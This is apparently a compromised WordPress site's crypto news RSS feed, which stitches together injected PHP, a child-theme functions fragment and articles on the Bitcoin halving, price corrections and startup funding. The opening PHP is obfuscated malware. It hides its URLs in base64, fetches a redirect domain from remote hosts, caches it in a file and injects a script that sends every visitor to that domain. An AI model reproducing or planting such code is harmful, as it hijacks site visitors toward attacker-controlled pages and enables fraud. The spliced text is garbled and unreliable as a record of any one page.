if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . 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'/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Bitcoin News – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Wed, 17 Apr 2024 00:28:17 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Bitcoin News – CoinsMegaNews https://coinsmeganews.com 32 32 Bitcoin’s Scarcity After the Halving to Result in Steady Bull Run https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/#respond Wed, 17 Apr 2024 00:28:17 +0000 https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/ [ad_1]

Bitcoin approaches another critical milestone — its scheduled halving event. It is a programmed reduction in the rewards miners receive for verifying transactions.

The halving is a pivotal event that has historically influenced Bitcoin’s value and the broader cryptocurrency market.

Increasing Scarcity Meets Growing Demand

The halving occurs approximately every four years and is part of Bitcoin’s unique monetary policy. It mimics the scarcity and value preservation of precious metals like gold.

“Over the past various cycles, we’ve seen more and more demand for Bitcoin, in contrast to the supply staying the same. So, if you look at it from a macroeconomic standpoint, more demand and the same supply drive the price up,” Sheraz Ahmed, Managing Partner at STORM Partners, told BeInCrypto.

Indeed, as the halving reduces the rate at which new BTC are generated, it adjusts the supply side of the equation. This has traditionally led to a bullish sentiment among investors. Essentially, the reduced flow of new coins intensifies competition for existing ones.

Read more: Bitcoin Halving Countdown

The forthcoming halving could further exacerbate this trend, given the increasing involvement of large institutional investors through Bitcoin Exchange-Traded Funds (ETFs).

“If you look at Bitcoin ETFs in the US, they are aggregating a lot of the demand from players such as pension funds and kind of the smaller institutional players. They are buying a lot of Bitcoin, sometimes as much as they can, on a daily basis. The fact that the halving will cause less Bitcoin to be minted will mean it will be harder for them to fill that demand,” Ahmed added.

Bitcoin ETF Historical Holdings
Bitcoin ETF Historical Holdings. Source: CryptoQuant

Likewise, countries like El Salvador have already started diversifying part of their treasury assets into Bitcoin. This hints at a broader acceptance and normalization of Bitcoin as a mainstream financial asset. Furthermore, governmental involvement could amplify demand pressures post-halving, as noted by STORM’s analysts.

Bitcoin’s Steady Bull Run After the Halving

This massive buy-in could stabilize Bitcoin’s price fluctuations. “I don’t think we’ll see a dramatic swing up or down. However, it’s going to be quite constant. It will constantly grow,” Ahmed suggested, indicating a belief in the maturation of the market and a less volatile Bitcoin.

Read more: What Happened at the Last Bitcoin Halving? Predictions for 2024

While some market participants use halving events to forecast Bitcoin price movements and trading strategies, they also recognize it as a time to reflect on Bitcoin’s technological and regulatory advancements. Many jurisdictions craft regulatory frameworks that are more favorable to Bitcoin than other speculative crypto assets, which bodes well for its mainstream adoption.

For this reason, there is a growing belief that Bitcoin should be reclassified away from being just another cryptocurrency.

“I don’t believe Bitcoin should be in the league of other cryptocurrencies. Bitcoin is its own beast, and it’s very different to Ethereum and the others. None of them are competing with it. Bitcoin has around 52% of the market share today. I’m a big believer that it should graduate from the “school of cryptocurrencies” and become an actual asset that can be traded with other commodities such as gold, silver, copper, and the like,” Ahmed concluded.

Bitcoin vs. Other Major Assets
Bitcoin vs. Other Major Assets. Source: Visual Capitalist

Looking forward, the cap on Bitcoin’s total supply — only 21 million coins can ever be mined — poses fascinating economic inquiries about what happens when all coins are minted. This scarcity could lead to significant shifts in Bitcoin’s role in both financial and technological sectors.

Disclaimer

Following the Trust Project guidelines, this feature article presents opinions and perspectives from industry experts or individuals. BeInCrypto is dedicated to transparent reporting, but the views expressed in this article do not necessarily reflect those of BeInCrypto or its staff. Readers should verify information independently and consult with a professional before making decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/bitcoins-scarcity-after-the-halving-to-result-in-steady-bull-run/feed/ 0 Bear Market Blues Return as Analyst Predicts 30% Bitcoin Correction to $51K https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/#respond Tue, 16 Apr 2024 12:26:26 +0000 https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/ [ad_1]

The bull market euphoria appears to have come to a screeching halt as the crypto market correction continues and digital assets keep dumping.

On April 16, prominent market analyst “Cold Blooded Shiller” told his 269,000 followers on X that Bitcoin is “still the cloud that hangs over crypto.”

BTC has retreated 15% from its March 14 all-time high, but historical market cycles have seen corrections of more than 30%.

This could potentially send BTC prices back to around $51,000, which could send the rest of the altcoins into an even deeper freefall.

Correction Could Deepen

There was a 25% correction early in the 2021 cycle, which sent BTC prices tumbling from more than $40,000 to $30,000 within a month. It also dumped 53% later that year in a pullback from $63,000 in April to $30,000 in July.

So, a 30% retracement from $73,000 would take prices back to the $50,000 level, which wouldn’t seem out of place considering previous market movements.

On April 15, market analyst Willy Woo said that if support at $58,900 breaks, “we move to a bear market.”

Markets are “still weeks away from a proper bullish environment,” in the long term, he added.

Glassnode analyst “Checkmatey” also mentioned bear markets, stating that they start “when too many people buy too much coin, too high.” However, he remained a little more optimistic, stating that the market does not appear “top heavy.”

Moreover, the Bitcoin Fear and Greed Index remains in the green zone, which means it is far too early to call a bear market, given the overall sentiment.

Altcoins Bleeding

Analyst Luke Martin observed that many of the altcoins have nearly erased six months of gains in just a couple of weeks. “Some are only 15-20% away from bear market cycle lows,” he added.

Meanwhile, ‘Rekt Capital’ pointed out that there has always been a pre-halving retrace, and this cycle is no different.

BTC prices were trading down 2.8% on the day at $63,354 at the time of writing. The wider market had dropped 3% with total capitalization down to $2.41 trillion as altcoins got hit harder.

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]]> https://coinsmeganews.com/bear-market-blues-return-as-analyst-predicts-30-bitcoin-correction-to-51k/feed/ 0 Former Bitmex Chief Expects Crypto Prices to ‘Slump’ Around the Bitcoin Halving https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/ https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/#respond Tue, 16 Apr 2024 00:24:40 +0000 https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/ [ad_1]

Former Bitmex CEO Arthur Hayes has explained why he believes that “bitcoin and crypto prices in general will slump around the halving.” He added that from now until May 1, he “will be in a no-trade zone,” emphasizing that “April will experience extreme weakness in risky asset markets.” Bitcoin Price Will ‘Slump Around the Halving,’ […]

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]]> https://coinsmeganews.com/former-bitmex-chief-expects-crypto-prices-to-slump-around-the-bitcoin-halving/feed/ 0 Bitcoin, Crypto Market Bounce Back After Iran-Israel Clash https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/ https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/#respond Mon, 15 Apr 2024 12:22:02 +0000 https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/ [ad_1]

Over the weekend, geopolitical tensions escalated dramatically following an unprecedented conflict between Iran and Israel. The events unfolding on Saturday evening momentarily shook global markets, including the crypto sector. However, there has been a noticeable recovery within the crypto market at the time of reporting.

The swift rebound in crypto values demonstrates the market’s robustness and ability to withstand unexpected global events.

Bitcoin Still Has Strong Support at $60,000 Level

Fears of escalating tensions triggered a sharp downturn for Bitcoin (BTC), the cryptocurrency with the biggest market capitalization, which dipped as low as $60,800 during the conflict. Moreover, BeInCrypto previously reported that approximately $962.40 million was lost during the market’s pullback.

Crypto analyst Ash Crypto explained this downturn as a reaction to the expected consequences of war, i.e., rising commodity prices like oil and gold. Those consequences lead to high inflation, thus making interest rate cuts by central banks less likely.

Read more: Bitcoin Price Prediction 2024/2025/2030

According to Ash Crypto, this situation creates a bearish environment for both stocks and crypto assets.

“Once BTC and alts started crashing, those who had high leverage positions open started getting liquidated, which resulted in more forced selling,” Ash Crypto noted, drawing parallels to similar sell-offs during the onset of Covid-19 in 2020 and the start of the Russia-Ukraine conflict.

However, Bitcoin and key altcoins have rebounded considerably. Bitcoin is trading at $65,170 at the time of writing, marking a 2.66% gain over the last 24 hours. Ethereum (ETH) and Solana (SOL) have seen even more significant rebounds, up 7% and 12.8% respectively.

Bitcoin (BTC) Price Performance.
Bitcoin (BTC) Price Performance. Source: BeInCrypto

Responding to the geopolitical tension’s effect on the crypto market, Mike Novogratz, CEO of Galaxy Digital, predicted a price recovery after an initial sell-off:

“Wars cost $$$…. Praying we don’t get a bigger one, but after the risk flush, BTC will resume its trend higher,” Novogratz wrote on X (formerly Twitter).

Novogratz hoped that cooler heads could prevail and prevent a major regional conflict. This sentiment is crucial for sustained growth in crypto, as markets favor stability.

Read more: How To Buy Bitcoin (BTC) and Everything You Need To Know

Despite the volatility, Ash Crypto remains bullish on Bitcoin’s near-term performance.

“Right now, BTC is trading above $63,000 with a strong support at $60,000 level. If the $60,000 level doesn’t hold, there is a strong support level at $56,000 – $58,000 where most new whales (ETF buyers) have bought their BTC,” Ash Crypto outlined.

He further points to history, noting that black swan events often precede parabolic runs within the crypto market.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/bitcoin-crypto-market-bounce-back-after-iran-israel-clash/feed/ 0 Venture Capital Interest in Bitcoin Startups Has Exploded: Research https://coinsmeganews.com/venture-capital-interest-in-bitcoin-startups-has-exploded-research/ https://coinsmeganews.com/venture-capital-interest-in-bitcoin-startups-has-exploded-research/#respond Mon, 15 Apr 2024 00:17:52 +0000 https://coinsmeganews.com/venture-capital-interest-in-bitcoin-startups-has-exploded-research/ [ad_1]

Despite venture capital activity declining across the board, funding for Bitcoin startups more than quadrupled in 2023, according to a new report.

Research from Trammell Venture Partners (TVP) shows that the number of Bitcoin-native pre-seed deals ballooned 360% last year, while the number of funded Bitcoin companies rose by 56.9%.

VC Funding Explodes On Bitcoin

As explained in TVP’s Friday report, a “Bitcoin native company” is a firm whose product’s success is mutually aligned with that of the Bitcoin network and which is founded on the principle that BTC is the “global monetary asset of the future.”

That includes early-stage startup companies but discounts late-stage firms, Bitcoin miners, and “crypto” oriented companies.

While the absolute number of Bitcoin venture dollars invested fell -12.5% to $305 million in 2023, the count of Bitcoin venture deals rose 69.2%. By contrast, the equivalent numbers for the crypto industry were -64.5% and -35.3%, respectively.

Crypto venture deals still outnumber Bitcoin ones by about 20:1, though the uptick of the latter last year was substantial. Some of last year’s big investors included General Catalyst, Y Combinator, and Draper Associates – the early-stage VC firm run by long-time Bitcoin bull Tim Draper.

“While 2023 was a challenging year for the broader venture capital landscape, the Bitcoin-native sector not only weathered the storm but emerged stronger,” wrote TVL to X on Friday, “The future looks bright for Bitcoin-native startups.”

Rise In Bitcoin Development

The surge in funding coincides with a revival of developer activity on Bitcoin over the past year, sparked by new technological capabilities discovered on the network. These include the NFT protocol Ordinals, the Bitcoin computing paradigm BitVM, and the upcoming “Runes” protocol – which will allow for efficient tokens to be issued on Bitcoin.

Ordinals activity began to surge again this week, as did the average cost to transact on Bitcoin. Rising fees have more developers in search of ways to build more effective Bitcoin layer 2 solutions to enable more efficient transfers, and funding is moving in that direction.

“Anecdotally I’ve never seen more bitcoin startups in my career,” said CoinMetrics co-founder Nic Carter on Friday. “Pace right now is at least an order of magnitude greater than it’s ever been.”

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]]> https://coinsmeganews.com/venture-capital-interest-in-bitcoin-startups-has-exploded-research/feed/ 0 The Only Path Forward to Web3 Adoption: Unlocking Tech Synergy Through Collaboration https://coinsmeganews.com/the-only-path-forward-to-web3-adoption-unlocking-tech-synergy-through-collaboration/ https://coinsmeganews.com/the-only-path-forward-to-web3-adoption-unlocking-tech-synergy-through-collaboration/#respond Sun, 14 Apr 2024 12:11:19 +0000 https://coinsmeganews.com/the-only-path-forward-to-web3-adoption-unlocking-tech-synergy-through-collaboration/ [ad_1]

History has shown that collaboration is a powerful driver of digital innovation, propelled by the exchange of knowledge between scientists and engineers. Indeed, instrumental to the birth of the Internet was the collaboration between Bob Kahn and Vint Cerf in the 1970s, which enabled communication between computers and networks and unlocked the new digital era […]

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]]> https://coinsmeganews.com/the-only-path-forward-to-web3-adoption-unlocking-tech-synergy-through-collaboration/feed/ 0 These Crypto Whales Predicted Market Dip, Sold Over $100 Million https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/ https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/#respond Sun, 14 Apr 2024 00:02:35 +0000 https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/ [ad_1]

In the last 24 hours, Ethereum, Bitcoin, and altcoins encountered significant volatility, resulting in a notable decline, with the overall crypto market capitalization dropping by approximately 8%, settling at $2.53 trillion.

This swift market fluctuation may have taken many retail traders by surprise. However, insights from on-chain data reveal that certain large-scale investors, colloquially known as crypto whales, foresaw the downturn and offloaded a substantial portion of their holdings.

Crypto Whales Offload Holdings

On-chain analysts reported that several institutional investors strategically sold portions of their holdings during the market downturn. Four crypto whales collectively offloaded 31,683 ETH, valued at approximately $106 million.

Among the identified crypto whales were notable entities such as Cumberland, an address linked to the bankrupt Alameda/FTX estate, and two undisclosed altcoin wallets.

Cumberland, a prominent institutional crypto investment firm, deposited 17,206 ETH, amounting to $57.3 million, across various exchanges. On the other hand, two crypto whales, ‘0xC3f8’ and ‘0x1717’, moved 7,976 ETH worth $26.6 million and 4,000 ETH worth $13.32 million, respectively, to Binance and other exchanges.

Similarly, the FTX/Alameda estate transferred 2,500 ETH, valued at around $8.33 million. Interestingly, this is not the first time the failed exchange has effectively been able to time the market before drastic sell-offs.

“Since March 1, FTX and Alameda have deposited 15,850 ETH, worth $58 million into centralized exchanges at roughly $3,659, and dramatic price changes tended to follow afterward,” blockchain firm SpotOnChain said.

FTX Crypto sales
FTX Crypto Sales. Source: SpotOnChain

These significant trading activities exerted additional selling pressure on the market, contributing to the downturn. During the reporting period, Ethereum’s price dropped by 13%. It went from $3,500 to reach as low as $3,062 for the first time in nearly a month.

Read more: Ethereum (ETH) Price Prediction 2024/2025/2030

Meanwhile, Bitcoin’s price experienced a sharp decline, plunging to as low as $65,100. Although the leading cryptocurrency has slightly rebounded to around $68,000 at press time, its volatility led to a decrease in market capitalization to $1.3 trillion. According to data from CompaniesMarketCap, this positions Bitcoin behind Meta, the parent company of Facebook, in the global ranking of top assets.

Regardless, computer scientist Edward Snowden ridiculed the industry’s reaction to the recent dip, noting that the price of Bitcoin had remained relatively stable during the week.

“[I] see crypto people freaking out over prices [then I] open bitcoin chart [and see that the] price is the same as it was seven days ago,” Snowden remarked.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/these-crypto-whales-predicted-market-dip-sold-over-100-million/feed/ 0 Here’s Why the Effect of Bitcoin Halving is Diminishing, According to CryptoQuant https://coinsmeganews.com/heres-why-the-effect-of-bitcoin-halving-is-diminishing-according-to-cryptoquant/ https://coinsmeganews.com/heres-why-the-effect-of-bitcoin-halving-is-diminishing-according-to-cryptoquant/#respond Sat, 13 Apr 2024 12:01:29 +0000 https://coinsmeganews.com/heres-why-the-effect-of-bitcoin-halving-is-diminishing-according-to-cryptoquant/ [ad_1]

Crypto market analytics platform CryptoQuant believes the effects of Bitcoin halvings have been diminishing and that the upcoming event will have an even smaller impact on BTC’s value.

In the latest edition of the firm’s weekly crypto report, analysts said the effect of the halving has been reducing because the new issuance of BTC keeps getting smaller in relation to the number being sold by long-term holders, signaling that demand will be the key driver of prices post-halving.

Bitcoin Halving Effect on a Decline

According to the report, Bitcoin monthly issuance has fallen to 4% of the total BTC supply available. Before the first, second, and third halving events, Bitcoin issuance represented 69%, 27%, and 10% of the available BTC supply. Last year, Bitcoin issuance averaged 28,000 per month, compared to the 417,000 BTC offloaded by long-term holders within the same timeframe.

Demand from permanent BTC holders has also surpassed issuance for the first time in history, with this cohort of investors adding roughly 200,000 BTC to their balances monthly, a far cry from the 28,000 BTC issuance.

Analysts believe long-term holder Bitcoin spending correlates with the price cycle because BTC bottoms at low long-term holder spending periods and peaks at extremely high spending levels relative to the total supply. At the time of writing, long-term holder spending is at low levels.

After the Bitcoin halving on April 20, the monthly issuance will decline to approximately 14,000, leaving demand growth to drive BTC prices to higher levels.

The Impact of Large BTC Holders

In previous cycles, the rise in Bitcoin demand growth from large holders and whales fueled the post-halving price rallies. With the current demand growth hovering around 11% month-on-month, its highest ever, it is evident that this factor has been the primary catalyst behind BTC surges.

CryptoQuant’s claims are substantiated by Bitcoin reaching a new all-time high before halving for the first time last month. The rally was driven by surging demand for the spot Bitcoin exchange-traded funds launched in January.

Meanwhile, analysts believe the selling pressure from OG BTC holders (those with coins 5+ years old) will increase after the halving.

“Spending from OG Holders is currently at around 8% annualized and historically has been 1.1%, while current issuance (orange area) stands at 1.8% annualized and will drop to ~0.8% annualized after this month’s halving,” the report stated.

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]]> https://coinsmeganews.com/heres-why-the-effect-of-bitcoin-halving-is-diminishing-according-to-cryptoquant/feed/ 0 Mysten Labs Announces Suiplay0x1, a Web3 Enabled Gaming Handheld https://coinsmeganews.com/mysten-labs-announces-suiplay0x1-a-web3-enabled-gaming-handheld/ https://coinsmeganews.com/mysten-labs-announces-suiplay0x1-a-web3-enabled-gaming-handheld/#respond Fri, 12 Apr 2024 23:59:30 +0000 https://coinsmeganews.com/mysten-labs-announces-suiplay0x1-a-web3-enabled-gaming-handheld/ [ad_1]

Mysten Labs Announces Suiplay 0x1, a Web3 Enabled Gaming HandheldMysten Labs, the company behind the development of Sui, a proof-of-stake blockchain project, has announced it is working on developing Suiplay0x1, a Web3-enabled gaming handheld. The organization did not reveal hardware specs but did state that the device would be able to run several app stores at once thanks to Playtron’s Playtronos, a device-agnostic gaming […]

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]]> https://coinsmeganews.com/mysten-labs-announces-suiplay0x1-a-web3-enabled-gaming-handheld/feed/ 0 How Bitcoin Halving Influences Price and Investors’ Sentiment https://coinsmeganews.com/how-bitcoin-halving-influences-price-and-investors-sentiment/ https://coinsmeganews.com/how-bitcoin-halving-influences-price-and-investors-sentiment/#respond Fri, 12 Apr 2024 11:54:12 +0000 https://coinsmeganews.com/how-bitcoin-halving-influences-price-and-investors-sentiment/ [ad_1]

The Bitcoin halving is a critical event in the cryptocurrency market, where the rate of new BTC supply issuance is halved. This reduction is expected to increase scarcity and potentially drive up the price, particularly if demand remains constant or increases.

The upcoming Bitcoin halving has sparked significant interest and speculation, with many experts predicting substantial price increases.

How the Next Bitcoin Halving Will Impact Prices

Historically, Bitcoin has experienced significant price hikes following halving events, though not immediately. Hannah Phung, Lead Data Analyst at SpotOnChain, told BeInCrypto that price increases tend to occur around 6 to 12 months post-halving.

For instance, after the first halving in November 2012, the price rose from around $12 to over $1,000 by late 2013. Similarly, the second halving in July 2016 saw the price of Bitcoin skyrocket from around $650 to nearly $20,000 by December 2017. The third halving in May 2020 resulted in the price surging from around $8,000 to an all-time high of $69,000 by November 2021.

“In theory, the supply reduction increases scarcity, consequently driving up the price, especially if demand remains stable or rises. Moreover, the reduced supply also means miners have fewer BTC to sell to cover their costs, decreasing selling pressure,” Phung emphasized.

Read more: What Happened at the Last Bitcoin Halving? Predictions for 2024

Bitcoin Price Performance
Bitcoin Price Performance. Source: TradingView

The cryptocurrency market has evolved significantly since these earlier halving events. With wider adoption and growing institutional interest. Indeed, demand from Bitcoin exchange-traded funds (ETFs) may introduce additional complexity to price dynamics as well as the potential easing of monetary policy.

For these reasons, some analysts predict Bitcoin’s price could rise to $200,000 or $500,000. However, the precise timing and scale are still unclear.

“While past trends offer some insight, the cryptocurrency market is unpredictable. There’s no guarantee the upcoming halving will follow the exact pattern of previous ones. The Bitcoin market is much larger and more established compared to earlier halvings. Still, I am very optimistic about a price increase after the halving, but the exact timing and magnitude remain uncertain,” Phung added.

Market Sentiment as a Barometer for BTC Price

Market sentiment typically undergoes distinct phases leading to and following a Bitcoin halving. Pre-halving, anticipation builds, leading to a generally bullish sentiment. Post-halving, sentiment may experience a short-term boost as the reduced supply of new BTC begins to take effect.

Investors should pay attention to several indicators during these phases to gauge market sentiment and potential price movements, including technical analysis, news and social media, and on-chain analysis.

“Technical indicators like price charts and trading volume can provide insights into market sentiment. Meanwhile, news and social media discussions around Bitcoin and the halving can reveal investor sentiment. Analyzing on-chain data, such as active addresses or exchange inflows/outflows, can also indicate investor behavior. Finally, net inflows into Bitcoin ETFs signify purchasing behavior,” Phung explained.

Read more: Bitcoin Halving Cycles and Investment Strategies: What To Know

Bitcoin ETF Net Inflows. Source: SpotOnChain

According to Phung, investor behavior also exhibits notable changes in response to Bitcoin halvings. Increased risk tolerance, a focus on long-term holding, and the entry of institutional investors are common trends.

While a surge in buying due to FOMO (fear of missing out) might be short-lived, the increasing institutional involvement suggests a focus on long-term holding that could lead to a more mature market with a lasting impact. This narrative surrounding the halving may encourage institutions to view the reduced supply as a positive factor for long-term price appreciation.

However, institutions will likely approach Bitcoin investment with robust risk management strategies. They may weigh the potential benefits against the inherent volatility of the asset.

“While Bitcoin offers the potential for high returns, it also carries higher risk compared to most traditional assets. Thus, investors should carefully assess these trends and correlations when integrating Bitcoin into their investment portfolios,” Phung concluded.

Read more: Bitcoin Halving Countdown

As a long-term store of value, akin to gold, Bitcoin’s limited supply and decentralization appeal to investors seeking inflation hedges. The integration with traditional finance systems has further legitimized Bitcoin. Given these market conditions, the upcoming Bitcoin halving could lead to increased price stability in the long run due to reduced supply.

Disclaimer

Following the Trust Project guidelines, this feature article presents opinions and perspectives from industry experts or individuals. BeInCrypto is dedicated to transparent reporting, but the views expressed in this article do not necessarily reflect those of BeInCrypto or its staff. Readers should verify information independently and consult with a professional before making decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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